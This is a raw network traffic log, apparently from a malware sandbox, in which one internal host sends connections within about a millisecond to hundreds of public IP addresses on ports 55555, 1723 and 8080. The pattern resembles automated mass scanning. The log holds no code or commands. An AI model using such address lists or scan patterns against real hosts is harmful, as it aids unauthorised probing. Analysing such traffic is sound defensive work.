Mar 21, 2024 05:21:09.909653902 CET	17307	55555	192.168.2.14	172.92.139.96
Mar 21, 2024 05:21:09.909655094 CET	17307	55555	192.168.2.14	184.92.4.21
Mar 21, 2024 05:21:09.909653902 CET	17307	55555	192.168.2.14	184.76.80.151
Mar 21, 2024 05:21:09.909653902 CET	17307	55555	192.168.2.14	98.44.233.145
Mar 21, 2024 05:21:09.909653902 CET	17307	55555	192.168.2.14	184.152.143.89
Mar 21, 2024 05:21:09.909653902 CET	17307	55555	192.168.2.14	184.170.15.19
Mar 21, 2024 05:21:09.909653902 CET	17307	55555	192.168.2.14	98.187.64.164
Mar 21, 2024 05:21:09.909655094 CET	17307	55555	192.168.2.14	172.32.175.13
Mar 21, 2024 05:21:09.909653902 CET	17307	55555	192.168.2.14	98.150.188.65
Mar 21, 2024 05:21:09.909653902 CET	17307	55555	192.168.2.14	172.195.251.103
Mar 21, 2024 05:21:09.909653902 CET	17307	55555	192.168.2.14	184.181.158.225
Mar 21, 2024 05:21:09.909655094 CET	17307	55555	192.168.2.14	172.240.173.223
Mar 21, 2024 05:21:09.909655094 CET	17307	55555	192.168.2.14	184.166.100.133
Mar 21, 2024 05:21:09.909672022 CET	17307	55555	192.168.2.14	184.52.74.96
Mar 21, 2024 05:21:09.909693003 CET	17307	55555	192.168.2.14	98.21.144.134
Mar 21, 2024 05:21:09.909693003 CET	17307	55555	192.168.2.14	172.192.148.97
Mar 21, 2024 05:21:09.909698963 CET	17307	55555	192.168.2.14	172.88.203.168
Mar 21, 2024 05:21:09.909698963 CET	17307	55555	192.168.2.14	184.14.17.235
Mar 21, 2024 05:21:09.909703016 CET	17307	55555	192.168.2.14	98.57.221.196
Mar 21, 2024 05:21:09.909703016 CET	17307	55555	192.168.2.14	184.168.2.124
Mar 21, 2024 05:21:09.909704924 CET	17307	55555	192.168.2.14	98.241.17.191
Mar 21, 2024 05:21:09.909703016 CET	17307	55555	192.168.2.14	184.223.3.118
Mar 21, 2024 05:21:09.909703970 CET	17307	55555	192.168.2.14	172.159.74.57
Mar 21, 2024 05:21:09.909704924 CET	17307	55555	192.168.2.14	184.229.183.195
Mar 21, 2024 05:21:09.909703016 CET	17307	55555	192.168.2.14	184.98.133.106
Mar 21, 2024 05:21:09.909703970 CET	17307	55555	192.168.2.14	98.217.50.27
Mar 21, 2024 05:21:09.909704924 CET	17307	55555	192.168.2.14	98.160.92.141
Mar 21, 2024 05:21:09.909703970 CET	17307	55555	192.168.2.14	98.189.207.36
Mar 21, 2024 05:21:09.909703016 CET	17307	55555	192.168.2.14	172.182.188.30
Mar 21, 2024 05:21:09.909703016 CET	17307	55555	192.168.2.14	172.147.209.195
Mar 21, 2024 05:21:09.909703970 CET	17307	55555	192.168.2.14	172.171.211.208
Mar 21, 2024 05:21:09.909703016 CET	17307	55555	192.168.2.14	98.224.50.218
Mar 21, 2024 05:21:09.909703016 CET	17307	55555	192.168.2.14	172.54.170.187
Mar 21, 2024 05:21:09.909703970 CET	17307	55555	192.168.2.14	172.253.49.228
Mar 21, 2024 05:21:09.909713984 CET	17307	55555	192.168.2.14	172.246.202.49
Mar 21, 2024 05:21:09.909713984 CET	17307	55555	192.168.2.14	184.76.144.219
Mar 21, 2024 05:21:09.909718037 CET	17307	55555	192.168.2.14	172.27.85.231
Mar 21, 2024 05:21:09.909720898 CET	17307	55555	192.168.2.14	184.211.139.211
Mar 21, 2024 05:21:09.909732103 CET	17307	55555	192.168.2.14	184.178.103.231
Mar 21, 2024 05:21:09.909732103 CET	17307	55555	192.168.2.14	184.65.121.139
Mar 21, 2024 05:21:09.909737110 CET	17307	55555	192.168.2.14	172.48.51.139
Mar 21, 2024 05:21:09.909738064 CET	17307	55555	192.168.2.14	184.32.241.175
Mar 21, 2024 05:21:09.909738064 CET	17307	55555	192.168.2.14	98.221.196.233
Mar 21, 2024 05:21:09.909742117 CET	17307	55555	192.168.2.14	98.63.215.241
Mar 21, 2024 05:21:09.909742117 CET	17307	55555	192.168.2.14	172.71.11.20
Mar 21, 2024 05:21:09.909742117 CET	17307	55555	192.168.2.14	98.84.155.226
Mar 21, 2024 05:21:09.909744024 CET	17307	55555	192.168.2.14	98.100.219.93
Mar 21, 2024 05:21:09.909744024 CET	17307	55555	192.168.2.14	172.79.91.184
Mar 21, 2024 05:21:09.909744024 CET	17307	55555	192.168.2.14	98.231.83.57
Mar 21, 2024 05:21:09.909765959 CET	17307	55555	192.168.2.14	172.100.44.239
Mar 21, 2024 05:21:09.909770966 CET	17307	55555	192.168.2.14	172.222.48.53
Mar 21, 2024 05:21:09.909770966 CET	17307	55555	192.168.2.14	172.104.128.253
Mar 21, 2024 05:21:09.909770966 CET	17307	55555	192.168.2.14	98.106.231.62
Mar 21, 2024 05:21:09.909780025 CET	17307	55555	192.168.2.14	184.17.176.237
Mar 21, 2024 05:21:09.909784079 CET	17307	55555	192.168.2.14	184.35.109.13
Mar 21, 2024 05:21:09.909795046 CET	17307	55555	192.168.2.14	98.102.215.153
Mar 21, 2024 05:21:09.909806967 CET	17307	55555	192.168.2.14	98.199.70.4
Mar 21, 2024 05:21:09.909856081 CET	17307	55555	192.168.2.14	172.184.32.223
Mar 21, 2024 05:21:09.909908056 CET	17307	55555	192.168.2.14	184.169.93.176
Mar 21, 2024 05:21:09.909910917 CET	17307	55555	192.168.2.14	184.17.107.220
Mar 21, 2024 05:21:09.909910917 CET	17307	55555	192.168.2.14	184.40.114.101
Mar 21, 2024 05:21:09.909910917 CET	17307	55555	192.168.2.14	184.248.56.208
Mar 21, 2024 05:21:09.909912109 CET	17304	1723	192.168.2.14	101.233.149.151
Mar 21, 2024 05:21:09.909921885 CET	17307	55555	192.168.2.14	184.148.52.132
Mar 21, 2024 05:21:09.909923077 CET	17304	1723	192.168.2.14	101.1.8.244
Mar 21, 2024 05:21:09.909924030 CET	17304	1723	192.168.2.14	101.145.140.152
Mar 21, 2024 05:21:09.909924030 CET	17307	55555	192.168.2.14	184.6.123.115
Mar 21, 2024 05:21:09.909925938 CET	17307	55555	192.168.2.14	172.54.226.164
Mar 21, 2024 05:21:09.909925938 CET	17304	1723	192.168.2.14	101.101.134.182
Mar 21, 2024 05:21:09.909925938 CET	17307	55555	192.168.2.14	98.229.25.16
Mar 21, 2024 05:21:09.909926891 CET	17307	55555	192.168.2.14	98.52.103.168
Mar 21, 2024 05:21:09.909967899 CET	17304	1723	192.168.2.14	101.24.233.179
Mar 21, 2024 05:21:09.909967899 CET	17307	55555	192.168.2.14	98.99.122.194
Mar 21, 2024 05:21:09.909989119 CET	17307	55555	192.168.2.14	98.75.58.188
Mar 21, 2024 05:21:09.909991026 CET	17304	1723	192.168.2.14	101.149.117.168
Mar 21, 2024 05:21:09.909991026 CET	17304	1723	192.168.2.14	101.169.240.252
Mar 21, 2024 05:21:09.909991026 CET	17307	55555	192.168.2.14	184.206.96.146
Mar 21, 2024 05:21:09.909991980 CET	17307	55555	192.168.2.14	98.118.99.96
Mar 21, 2024 05:21:09.909991980 CET	17307	55555	192.168.2.14	172.208.34.114
Mar 21, 2024 05:21:09.909991980 CET	17307	55555	192.168.2.14	172.247.42.174
Mar 21, 2024 05:21:09.909991980 CET	17307	55555	192.168.2.14	172.88.58.135
Mar 21, 2024 05:21:09.909991980 CET	17307	55555	192.168.2.14	184.18.167.240
Mar 21, 2024 05:21:09.910003901 CET	17304	1723	192.168.2.14	101.60.169.32
Mar 21, 2024 05:21:09.910011053 CET	17307	55555	192.168.2.14	184.64.115.216
Mar 21, 2024 05:21:09.910011053 CET	17307	55555	192.168.2.14	172.249.25.77
Mar 21, 2024 05:21:09.910013914 CET	17307	55555	192.168.2.14	184.30.206.96
Mar 21, 2024 05:21:09.910021067 CET	17307	55555	192.168.2.14	172.67.131.155
Mar 21, 2024 05:21:09.910043955 CET	17304	1723	192.168.2.14	101.72.106.7
Mar 21, 2024 05:21:09.910043955 CET	17307	55555	192.168.2.14	184.238.184.67
Mar 21, 2024 05:21:09.910043955 CET	17307	55555	192.168.2.14	98.71.56.158
Mar 21, 2024 05:21:09.910044909 CET	17304	1723	192.168.2.14	101.39.90.214
Mar 21, 2024 05:21:09.910068035 CET	17307	55555	192.168.2.14	184.3.68.178
Mar 21, 2024 05:21:09.910068035 CET	17307	55555	192.168.2.14	184.1.19.29
Mar 21, 2024 05:21:09.910068035 CET	17307	55555	192.168.2.14	184.68.228.172
Mar 21, 2024 05:21:09.910068989 CET	17307	55555	192.168.2.14	184.55.234.114
Mar 21, 2024 05:21:09.910069942 CET	17307	55555	192.168.2.14	172.137.250.129
Mar 21, 2024 05:21:09.910069942 CET	17307	55555	192.168.2.14	98.238.139.30
Mar 21, 2024 05:21:09.910069942 CET	17307	55555	192.168.2.14	172.184.24.157
Mar 21, 2024 05:21:09.910069942 CET	17304	1723	192.168.2.14	101.210.129.247
Mar 21, 2024 05:21:09.910069942 CET	17307	55555	192.168.2.14	184.80.9.19
Mar 21, 2024 05:21:09.910069942 CET	17304	1723	192.168.2.14	101.200.169.147
Mar 21, 2024 05:21:09.910069942 CET	17307	55555	192.168.2.14	184.116.4.121
Mar 21, 2024 05:21:09.910082102 CET	17307	55555	192.168.2.14	98.126.184.239
Mar 21, 2024 05:21:09.910082102 CET	17307	55555	192.168.2.14	184.70.6.21
Mar 21, 2024 05:21:09.910082102 CET	17307	55555	192.168.2.14	98.182.179.233
Mar 21, 2024 05:21:09.910085917 CET	17307	55555	192.168.2.14	172.216.194.215
Mar 21, 2024 05:21:09.910085917 CET	17307	55555	192.168.2.14	98.75.64.143
Mar 21, 2024 05:21:09.910085917 CET	17307	55555	192.168.2.14	98.123.206.121
Mar 21, 2024 05:21:09.910089016 CET	17304	1723	192.168.2.14	101.140.175.43
Mar 21, 2024 05:21:09.910089016 CET	17307	55555	192.168.2.14	98.253.78.108
Mar 21, 2024 05:21:09.910089016 CET	17307	55555	192.168.2.14	184.197.239.101
Mar 21, 2024 05:21:09.910089970 CET	17307	55555	192.168.2.14	98.239.34.57
Mar 21, 2024 05:21:09.910089016 CET	17307	55555	192.168.2.14	172.171.110.4
Mar 21, 2024 05:21:09.910089016 CET	17307	55555	192.168.2.14	184.220.61.38
Mar 21, 2024 05:21:09.910099983 CET	17307	55555	192.168.2.14	172.160.227.167
Mar 21, 2024 05:21:09.910099983 CET	17307	55555	192.168.2.14	184.149.107.221
Mar 21, 2024 05:21:09.910099983 CET	17307	55555	192.168.2.14	98.190.21.53
Mar 21, 2024 05:21:09.910124063 CET	17304	1723	192.168.2.14	101.170.202.135
Mar 21, 2024 05:21:09.910124063 CET	17307	55555	192.168.2.14	98.25.82.1
Mar 21, 2024 05:21:09.910159111 CET	17307	55555	192.168.2.14	172.14.224.123
Mar 21, 2024 05:21:09.910159111 CET	17307	55555	192.168.2.14	184.170.78.96
Mar 21, 2024 05:21:09.910161018 CET	17304	1723	192.168.2.14	101.162.208.235
Mar 21, 2024 05:21:09.910161018 CET	17307	55555	192.168.2.14	98.165.46.125
Mar 21, 2024 05:21:09.910161018 CET	17307	55555	192.168.2.14	184.159.175.58
Mar 21, 2024 05:21:09.910161972 CET	17304	1723	192.168.2.14	101.64.204.146
Mar 21, 2024 05:21:09.910161972 CET	17307	55555	192.168.2.14	184.231.70.94
Mar 21, 2024 05:21:09.910161972 CET	17307	55555	192.168.2.14	184.90.254.179
Mar 21, 2024 05:21:09.910161972 CET	17307	55555	192.168.2.14	98.35.31.144
Mar 21, 2024 05:21:09.910183907 CET	17307	55555	192.168.2.14	184.177.176.227
Mar 21, 2024 05:21:09.910183907 CET	17307	55555	192.168.2.14	184.102.4.40
Mar 21, 2024 05:21:09.910183907 CET	17307	55555	192.168.2.14	172.87.202.17
Mar 21, 2024 05:21:09.910185099 CET	17307	55555	192.168.2.14	172.133.253.9
Mar 21, 2024 05:21:09.910185099 CET	17307	55555	192.168.2.14	98.209.66.87
Mar 21, 2024 05:21:09.910186052 CET	17307	55555	192.168.2.14	98.139.210.27
Mar 21, 2024 05:21:09.910186052 CET	17304	1723	192.168.2.14	101.227.218.25
Mar 21, 2024 05:21:09.910186052 CET	17307	55555	192.168.2.14	172.48.19.81
Mar 21, 2024 05:21:09.910188913 CET	17307	55555	192.168.2.14	172.48.245.227
Mar 21, 2024 05:21:09.910188913 CET	17307	55555	192.168.2.14	98.231.210.112
Mar 21, 2024 05:21:09.910188913 CET	17304	1723	192.168.2.14	101.7.142.5
Mar 21, 2024 05:21:09.910187960 CET	17307	55555	192.168.2.14	172.86.46.101
Mar 21, 2024 05:21:09.910188913 CET	17304	1723	192.168.2.14	101.126.185.20
Mar 21, 2024 05:21:09.910187960 CET	17307	55555	192.168.2.14	172.197.59.234
Mar 21, 2024 05:21:09.910188913 CET	17307	55555	192.168.2.14	98.116.81.159
Mar 21, 2024 05:21:09.910188913 CET	17307	55555	192.168.2.14	184.228.144.198
Mar 21, 2024 05:21:09.910190105 CET	17307	55555	192.168.2.14	172.101.78.68
Mar 21, 2024 05:21:09.910187960 CET	17304	1723	192.168.2.14	101.184.249.115
Mar 21, 2024 05:21:09.910191059 CET	17307	55555	192.168.2.14	98.119.43.129
Mar 21, 2024 05:21:09.910191059 CET	17304	1723	192.168.2.14	101.175.200.143
Mar 21, 2024 05:21:09.910191059 CET	17307	55555	192.168.2.14	184.69.169.42
Mar 21, 2024 05:21:09.910234928 CET	17307	55555	192.168.2.14	98.130.249.36
Mar 21, 2024 05:21:09.910235882 CET	17307	55555	192.168.2.14	98.238.49.207
Mar 21, 2024 05:21:09.910265923 CET	17307	55555	192.168.2.14	172.92.182.162
Mar 21, 2024 05:21:09.910265923 CET	17307	55555	192.168.2.14	98.67.231.36
Mar 21, 2024 05:21:09.910269022 CET	17307	55555	192.168.2.14	172.211.151.33
Mar 21, 2024 05:21:09.910269022 CET	17307	55555	192.168.2.14	98.162.135.247
Mar 21, 2024 05:21:09.910269022 CET	17307	55555	192.168.2.14	98.192.175.221
Mar 21, 2024 05:21:09.910270929 CET	17307	55555	192.168.2.14	172.48.223.104
Mar 21, 2024 05:21:09.910270929 CET	17307	55555	192.168.2.14	172.49.38.86
Mar 21, 2024 05:21:09.910270929 CET	17304	1723	192.168.2.14	101.53.113.87
Mar 21, 2024 05:21:09.910273075 CET	17307	55555	192.168.2.14	98.234.179.6
Mar 21, 2024 05:21:09.910273075 CET	17304	1723	192.168.2.14	101.41.229.154
Mar 21, 2024 05:21:09.910273075 CET	17307	55555	192.168.2.14	172.97.240.60
Mar 21, 2024 05:21:09.910274029 CET	17307	55555	192.168.2.14	98.203.135.196
Mar 21, 2024 05:21:09.910273075 CET	17304	1723	192.168.2.14	101.201.148.37
Mar 21, 2024 05:21:09.910274029 CET	17304	1723	192.168.2.14	101.234.247.9
Mar 21, 2024 05:21:09.910273075 CET	17307	55555	192.168.2.14	172.95.41.242
Mar 21, 2024 05:21:09.910274982 CET	17304	1723	192.168.2.14	101.198.72.102
Mar 21, 2024 05:21:09.910274029 CET	17307	55555	192.168.2.14	172.157.55.95
Mar 21, 2024 05:21:09.910274982 CET	17307	55555	192.168.2.14	98.46.237.7
Mar 21, 2024 05:21:09.910289049 CET	17307	55555	192.168.2.14	184.188.34.193
Mar 21, 2024 05:21:09.910289049 CET	17307	55555	192.168.2.14	184.129.187.95
Mar 21, 2024 05:21:09.910290003 CET	17307	55555	192.168.2.14	184.108.154.96
Mar 21, 2024 05:21:09.910290003 CET	17307	55555	192.168.2.14	184.238.74.227
Mar 21, 2024 05:21:09.910290956 CET	17307	55555	192.168.2.14	184.92.121.22
Mar 21, 2024 05:21:09.910290956 CET	17307	55555	192.168.2.14	98.92.198.185
Mar 21, 2024 05:21:09.910291910 CET	17307	55555	192.168.2.14	98.63.155.192
Mar 21, 2024 05:21:09.910291910 CET	17307	55555	192.168.2.14	172.157.178.232
Mar 21, 2024 05:21:09.910291910 CET	17307	55555	192.168.2.14	172.232.189.130
Mar 21, 2024 05:21:09.910300016 CET	17307	55555	192.168.2.14	98.213.132.246
Mar 21, 2024 05:21:09.910300016 CET	17307	55555	192.168.2.14	172.251.114.94
Mar 21, 2024 05:21:09.910301924 CET	17304	1723	192.168.2.14	101.192.127.166
Mar 21, 2024 05:21:09.910301924 CET	17307	55555	192.168.2.14	98.183.205.57
Mar 21, 2024 05:21:09.910301924 CET	17304	1723	192.168.2.14	101.35.222.3
Mar 21, 2024 05:21:09.910301924 CET	17307	55555	192.168.2.14	98.129.50.157
Mar 21, 2024 05:21:09.910301924 CET	17307	55555	192.168.2.14	184.202.145.6
Mar 21, 2024 05:21:09.910301924 CET	17307	55555	192.168.2.14	172.20.100.94
Mar 21, 2024 05:21:09.910310030 CET	17307	55555	192.168.2.14	184.15.194.236
Mar 21, 2024 05:21:09.910310030 CET	17307	55555	192.168.2.14	172.0.126.180
Mar 21, 2024 05:21:09.910310030 CET	17307	55555	192.168.2.14	172.244.247.251
Mar 21, 2024 05:21:09.910310030 CET	17307	55555	192.168.2.14	98.178.70.48
Mar 21, 2024 05:21:09.910310030 CET	17307	55555	192.168.2.14	184.50.71.6
Mar 21, 2024 05:21:09.910311937 CET	17307	55555	192.168.2.14	184.32.114.169
Mar 21, 2024 05:21:09.910311937 CET	17304	1723	192.168.2.14	101.178.177.64
Mar 21, 2024 05:21:09.910314083 CET	17307	55555	192.168.2.14	98.78.49.128
Mar 21, 2024 05:21:09.910314083 CET	17307	55555	192.168.2.14	184.125.143.81
Mar 21, 2024 05:21:09.910314083 CET	17307	55555	192.168.2.14	172.58.163.183
Mar 21, 2024 05:21:09.910314083 CET	17307	55555	192.168.2.14	184.1.130.13
Mar 21, 2024 05:21:09.910315037 CET	17307	55555	192.168.2.14	98.107.154.24
Mar 21, 2024 05:21:09.910315037 CET	17307	55555	192.168.2.14	184.47.101.248
Mar 21, 2024 05:21:09.910315037 CET	17304	1723	192.168.2.14	101.78.79.254
Mar 21, 2024 05:21:09.910315037 CET	17307	55555	192.168.2.14	184.90.196.215
Mar 21, 2024 05:21:09.910320044 CET	17307	55555	192.168.2.14	172.149.11.153
Mar 21, 2024 05:21:09.910320044 CET	17304	1723	192.168.2.14	101.155.47.177
Mar 21, 2024 05:21:09.910324097 CET	17307	55555	192.168.2.14	98.245.150.208
Mar 21, 2024 05:21:09.910329103 CET	17307	55555	192.168.2.14	172.84.72.176
Mar 21, 2024 05:21:09.910329103 CET	17304	1723	192.168.2.14	101.183.107.154
Mar 21, 2024 05:21:09.910329103 CET	17307	55555	192.168.2.14	172.0.79.245
Mar 21, 2024 05:21:09.910329103 CET	17307	55555	192.168.2.14	184.248.216.202
Mar 21, 2024 05:21:09.910329103 CET	17307	55555	192.168.2.14	98.19.180.197
Mar 21, 2024 05:21:09.910355091 CET	17307	55555	192.168.2.14	184.120.139.137
Mar 21, 2024 05:21:09.910367966 CET	17304	1723	192.168.2.14	101.229.173.5
Mar 21, 2024 05:21:09.910371065 CET	17307	55555	192.168.2.14	184.234.128.16
Mar 21, 2024 05:21:09.910371065 CET	17307	55555	192.168.2.14	172.190.89.252
Mar 21, 2024 05:21:09.910378933 CET	17304	1723	192.168.2.14	101.116.231.75
Mar 21, 2024 05:21:09.910382986 CET	17307	55555	192.168.2.14	184.133.32.184
Mar 21, 2024 05:21:09.910382986 CET	17304	1723	192.168.2.14	101.194.167.127
Mar 21, 2024 05:21:09.910382986 CET	17307	55555	192.168.2.14	184.219.157.55
Mar 21, 2024 05:21:09.910386086 CET	17307	55555	192.168.2.14	172.39.135.4
Mar 21, 2024 05:21:09.910386086 CET	17307	55555	192.168.2.14	98.120.169.203
Mar 21, 2024 05:21:09.910386086 CET	17304	1723	192.168.2.14	101.22.95.53
Mar 21, 2024 05:21:09.910393000 CET	17307	55555	192.168.2.14	184.71.121.210
Mar 21, 2024 05:21:09.910414934 CET	17307	55555	192.168.2.14	184.79.165.229
Mar 21, 2024 05:21:09.910414934 CET	17304	1723	192.168.2.14	101.181.63.120
Mar 21, 2024 05:21:09.910420895 CET	17304	1723	192.168.2.14	101.115.196.18
Mar 21, 2024 05:21:09.910420895 CET	17307	55555	192.168.2.14	172.194.220.219
Mar 21, 2024 05:21:09.910420895 CET	17307	55555	192.168.2.14	184.146.139.246
Mar 21, 2024 05:21:09.910424948 CET	17307	55555	192.168.2.14	172.84.54.9
Mar 21, 2024 05:21:09.910424948 CET	17307	55555	192.168.2.14	172.175.141.235
Mar 21, 2024 05:21:09.910424948 CET	17304	1723	192.168.2.14	101.111.73.152
Mar 21, 2024 05:21:09.910437107 CET	17304	1723	192.168.2.14	101.80.52.120
Mar 21, 2024 05:21:09.910448074 CET	17307	55555	192.168.2.14	98.219.102.98
Mar 21, 2024 05:21:09.910450935 CET	17304	1723	192.168.2.14	101.87.25.129
Mar 21, 2024 05:21:09.910458088 CET	17307	55555	192.168.2.14	184.63.205.229
Mar 21, 2024 05:21:09.910471916 CET	17307	55555	192.168.2.14	184.177.130.197
Mar 21, 2024 05:21:09.910476923 CET	17304	1723	192.168.2.14	101.18.98.95
Mar 21, 2024 05:21:09.910492897 CET	17304	1723	192.168.2.14	101.141.181.94
Mar 21, 2024 05:21:09.910623074 CET	17307	55555	192.168.2.14	172.39.50.152
Mar 21, 2024 05:21:09.910624027 CET	17307	55555	192.168.2.14	172.81.30.226
Mar 21, 2024 05:21:09.910623074 CET	17307	55555	192.168.2.14	172.10.235.51
Mar 21, 2024 05:21:09.910624027 CET	17307	55555	192.168.2.14	172.84.6.196
Mar 21, 2024 05:21:09.910625935 CET	17307	55555	192.168.2.14	184.231.116.158
Mar 21, 2024 05:21:09.910625935 CET	17306	8080	192.168.2.14	106.228.193.137
Mar 21, 2024 05:21:09.910625935 CET	17307	55555	192.168.2.14	184.103.81.168
Mar 21, 2024 05:21:09.910625935 CET	17307	55555	192.168.2.14	98.125.115.200
Mar 21, 2024 05:21:09.910628080 CET	17307	55555	192.168.2.14	172.45.253.188
Mar 21, 2024 05:21:09.910625935 CET	17307	55555	192.168.2.14	98.79.112.73
Mar 21, 2024 05:21:09.910628080 CET	17307	55555	192.168.2.14	184.87.187.168
Mar 21, 2024 05:21:09.910626888 CET	17307	55555	192.168.2.14	184.252.142.98
Mar 21, 2024 05:21:09.910628080 CET	17307	55555	192.168.2.14	184.22.173.239
Mar 21, 2024 05:21:09.910625935 CET	17307	55555	192.168.2.14	172.44.223.84
Mar 21, 2024 05:21:09.910628080 CET	17307	55555	192.168.2.14	172.133.234.108
Mar 21, 2024 05:21:09.910628080 CET	17306	8080	192.168.2.14	75.11.36.98
Mar 21, 2024 05:21:09.910625935 CET	17307	55555	192.168.2.14	98.122.6.72
Mar 21, 2024 05:21:09.910628080 CET	17307	55555	192.168.2.14	184.94.255.243
Mar 21, 2024 05:21:09.910628080 CET	17306	8080	192.168.2.14	41.157.15.221
Mar 21, 2024 05:21:09.910625935 CET	17306	8080	192.168.2.14	35.19.197.121
Mar 21, 2024 05:21:09.910628080 CET	17307	55555	192.168.2.14	172.175.204.33
Mar 21, 2024 05:21:09.910625935 CET	17307	55555	192.168.2.14	172.129.73.115
Mar 21, 2024 05:21:09.910650015 CET	17306	8080	192.168.2.14	141.148.232.209
Mar 21, 2024 05:21:09.910650015 CET	17307	55555	192.168.2.14	172.14.189.132
Mar 21, 2024 05:21:09.910651922 CET	17307	55555	192.168.2.14	98.18.196.29
Mar 21, 2024 05:21:09.910651922 CET	17307	55555	192.168.2.14	184.149.198.225
Mar 21, 2024 05:21:09.910651922 CET	17307	55555	192.168.2.14	172.131.16.93
Mar 21, 2024 05:21:09.910654068 CET	17307	55555	192.168.2.14	184.54.161.192
Mar 21, 2024 05:21:09.910654068 CET	17307	55555	192.168.2.14	98.210.212.253
Mar 21, 2024 05:21:09.910654068 CET	17306	8080	192.168.2.14	85.117.58.58
Mar 21, 2024 05:21:09.910654068 CET	17307	55555	192.168.2.14	184.19.205.166
Mar 21, 2024 05:21:09.910654068 CET	17307	55555	192.168.2.14	172.59.61.123
Mar 21, 2024 05:21:09.910655975 CET	17307	55555	192.168.2.14	172.15.177.143
Mar 21, 2024 05:21:09.910655975 CET	17307	55555	192.168.2.14	172.74.12.83
Mar 21, 2024 05:21:09.910655975 CET	17307	55555	192.168.2.14	184.44.72.69
Mar 21, 2024 05:21:09.910655975 CET	17306	8080	192.168.2.14	195.6.94.240
Mar 21, 2024 05:21:09.910655975 CET	17306	8080	192.168.2.14	49.180.193.93
Mar 21, 2024 05:21:09.910670042 CET	17307	55555	192.168.2.14	184.179.69.54
Mar 21, 2024 05:21:09.910670042 CET	17307	55555	192.168.2.14	184.250.123.64
Mar 21, 2024 05:21:09.910670996 CET	17307	55555	192.168.2.14	184.62.175.145
Mar 21, 2024 05:21:09.910670042 CET	17307	55555	192.168.2.14	98.54.109.223
Mar 21, 2024 05:21:09.910670996 CET	17307	55555	192.168.2.14	184.5.30.215
Mar 21, 2024 05:21:09.910670996 CET	17307	55555	192.168.2.14	98.133.140.216
Mar 21, 2024 05:21:09.910670996 CET	17307	55555	192.168.2.14	98.238.123.11
Mar 21, 2024 05:21:09.910670996 CET	17307	55555	192.168.2.14	98.13.191.129
Mar 21, 2024 05:21:09.910671949 CET	17307	55555	192.168.2.14	184.24.161.159
Mar 21, 2024 05:21:09.910671949 CET	17307	55555	192.168.2.14	172.12.58.142
Mar 21, 2024 05:21:09.910676956 CET	17307	55555	192.168.2.14	172.200.65.176
Mar 21, 2024 05:21:09.910676956 CET	17307	55555	192.168.2.14	184.29.149.43
Mar 21, 2024 05:21:09.910676956 CET	17307	55555	192.168.2.14	172.246.211.91
Mar 21, 2024 05:21:09.910679102 CET	17307	55555	192.168.2.14	172.174.17.223
Mar 21, 2024 05:21:09.910689116 CET	17307	55555	192.168.2.14	172.58.99.153
Mar 21, 2024 05:21:09.910689116 CET	17306	8080	192.168.2.14	4.254.195.126
Mar 21, 2024 05:21:09.910689116 CET	17307	55555	192.168.2.14	184.73.229.58
Mar 21, 2024 05:21:09.910689116 CET	17307	55555	192.168.2.14	172.194.164.250
Mar 21, 2024 05:21:09.910689116 CET	17307	55555	192.168.2.14	98.201.65.197
Mar 21, 2024 05:21:09.910700083 CET	17306	8080	192.168.2.14	100.254.97.102
Mar 21, 2024 05:21:09.910700083 CET	17307	55555	192.168.2.14	184.36.3.21
Mar 21, 2024 05:21:09.910701990 CET	17307	55555	192.168.2.14	172.190.52.241
Mar 21, 2024 05:21:09.910701990 CET	17307	55555	192.168.2.14	184.98.103.219
Mar 21, 2024 05:21:09.910701990 CET	17307	55555	192.168.2.14	184.92.128.195
Mar 21, 2024 05:21:09.910712957 CET	17307	55555	192.168.2.14	172.108.200.243
Mar 21, 2024 05:21:09.910712957 CET	17307	55555	192.168.2.14	172.135.28.161
Mar 21, 2024 05:21:09.910712957 CET	17307	55555	192.168.2.14	172.251.45.220
Mar 21, 2024 05:21:09.910717010 CET	17307	55555	192.168.2.14	184.150.107.90
Mar 21, 2024 05:21:09.910731077 CET	17306	8080	192.168.2.14	85.143.221.254
Mar 21, 2024 05:21:09.910732031 CET	17307	55555	192.168.2.14	184.244.123.13
Mar 21, 2024 05:21:09.910737038 CET	17306	8080	192.168.2.14	130.170.16.8
Mar 21, 2024 05:21:09.910747051 CET	17306	8080	192.168.2.14	183.133.240.105
Mar 21, 2024 05:21:09.910885096 CET	17306	8080	192.168.2.14	152.7.91.119
Mar 21, 2024 05:21:09.910885096 CET	17307	55555	192.168.2.14	98.241.47.95
Mar 21, 2024 05:21:09.910885096 CET	17306	8080	192.168.2.14	81.102.3.162
Mar 21, 2024 05:21:09.910885096 CET	17307	55555	192.168.2.14	172.196.203.149
Mar 21, 2024 05:21:09.910886049 CET	17306	8080	192.168.2.14	70.255.153.134
Mar 21, 2024 05:21:09.910885096 CET	17306	8080	192.168.2.14	219.74.84.251
Mar 21, 2024 05:21:09.910886049 CET	17306	8080	192.168.2.14	221.115.48.119
Mar 21, 2024 05:21:09.910886049 CET	17307	55555	192.168.2.14	184.15.236.5
Mar 21, 2024 05:21:09.910886049 CET	17306	8080	192.168.2.14	190.206.192.41
Mar 21, 2024 05:21:09.910886049 CET	17306	8080	192.168.2.14	129.115.101.35
Mar 21, 2024 05:21:09.910887957 CET	17306	8080	192.168.2.14	152.5.188.218
Mar 21, 2024 05:21:09.910887957 CET	17306	8080	192.168.2.14	8.41.46.21
Mar 21, 2024 05:21:09.910886049 CET	17306	8080	192.168.2.14	17.139.42.214
Mar 21, 2024 05:21:09.910886049 CET	17306	8080	192.168.2.14	223.135.174.135
Mar 21, 2024 05:21:09.910886049 CET	17306	8080	192.168.2.14	25.199.153.29
Mar 21, 2024 05:21:09.910887957 CET	17307	55555	192.168.2.14	98.128.167.208
Mar 21, 2024 05:21:09.910887957 CET	17307	55555	192.168.2.14	172.130.236.46
Mar 21, 2024 05:21:09.910885096 CET	17306	8080	192.168.2.14	210.37.159.185
Mar 21, 2024 05:21:09.910886049 CET	17306	8080	192.168.2.14	87.237.1.94
Mar 21, 2024 05:21:09.910887957 CET	17306	8080	192.168.2.14	151.33.14.235
Mar 21, 2024 05:21:09.910886049 CET	17306	8080	192.168.2.14	154.146.82.63
Mar 21, 2024 05:21:09.910886049 CET	17307	55555	192.168.2.14	98.81.158.45
Mar 21, 2024 05:21:09.910886049 CET	17306	8080	192.168.2.14	19.144.35.255
Mar 21, 2024 05:21:09.910887003 CET	17306	8080	192.168.2.14	114.50.51.138
Mar 21, 2024 05:21:09.910886049 CET	17307	55555	192.168.2.14	172.152.94.29
Mar 21, 2024 05:21:09.910887957 CET	17306	8080	192.168.2.14	211.75.38.170
Mar 21, 2024 05:21:09.910887957 CET	17306	8080	192.168.2.14	72.234.48.215
Mar 21, 2024 05:21:09.910887957 CET	17306	8080	192.168.2.14	178.200.176.39
